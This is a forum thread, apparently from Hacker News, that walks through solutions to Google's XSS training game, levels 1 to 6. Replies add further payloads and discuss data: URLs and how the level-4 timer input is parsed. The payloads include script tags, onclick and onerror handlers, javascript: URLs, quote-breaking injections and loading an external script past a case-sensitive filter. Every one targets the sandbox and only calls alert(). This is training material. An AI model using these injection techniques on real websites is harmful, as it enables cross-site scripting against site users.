I'm posting because I find that whenever I can't solve some security puzzle, it usually means I didn't foresee an attack and I've been writing insecure code :( So hopefully people who get stumped can take a look at the solutions and determine if that's the case for them.
It'd be cool if someone wrote up explanations for each of these w/ links to relevant portions of Google's documentation.
# lvl 1
Enter `<script>alert('')</script>` into the search box.
# lvl 2
Use the `onclick` attribute of the font tag (hint is from the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message:
<font color="red" onclick="alert('')">blah</font>
and then click blah after posting the message. (or use onload etc.)
# lvl 3
Modify the URL parameter so that you inject code into the `<img>` tag:
https://xss-game.appspot.com/level3/frame#1.jpg' onclick="alert('')" alt='a picture called 1
which will render as:
html += "<img src='/static/level3/cloud/1.jpg' onclick="alert('')" alt='a picture called 1.jpg'/>";
on line 17 of the HTML file. Now click on the picture.
# lvl 4
Use `3'); alert('` as the value for your timer.
# lvl 5
Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use this as the location that the user is sent to on the signup page. Go the the URL:
https://xss-game.appspot.com/level5/frame/signup? next=javascript:alert('')
and then click the `Next` link.
# lvl 6
The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js:
alert('');
and then go the the url `https://xss- game.appspot.com/level6/frame#Http://mysite.com/xss.js`
# Notes
In an actual attack you'd use onerror or onload everywhere instead of onclick.#1 <script>alert()</script> (no need for an empty string)
#4 '+alert()+'
#6 you can also use a protocol-relative url //google.com/jsapi?callback=alert
https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
This will ensure the browser uses the "current protocol" as in if your website is browseable from http all request //www...com will be http and if your page is fetched using https, all resources starting with //www.hn.com will be loaded using https
if your website was reachable from protocol xyz://mydomain.com, all resources starting with // would be fetched using the xyz:// protocol
To clarify, you need to update the URL, then hit the Go button to the right to update the page, then finally click the newly updated "Next >>" link.
- - -
re: Level 4
Can someone explain how the possible strings break the parseInt()? Source code:
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
data:text/javascript;base64,YWxlcnQoMSk=
data:text/html,<script>alert(window.location)</script>
As long as it's shorter than ~2000 characters [0]
[0] http://stackoverflow.com/questions/417142/what-is-the-maximu...
Here is a example of 5M
data:text/html,<script>window.location='data:text/html,<!--'+new Array(5000001).join('a')+'!--><script>document.documentElement.innerHTML=window.location.protocol+\':\'+String(window.location).length;</'+'script>';</script>
You can store MASSIVE amounts of data in these things. It also seems to eventually break the url display and reverts to about:blank. It still retains protocol integrity though.
I did basically the same:
data:text/javascript;base64,YWxlcnQoInRlc3QiKQ==img tags support the onload attribute and is a typical element people use in posts
<img src="404me" onerror="alert('test')" />Maybe it doesn't work because the page is already loaded so the onload is never run.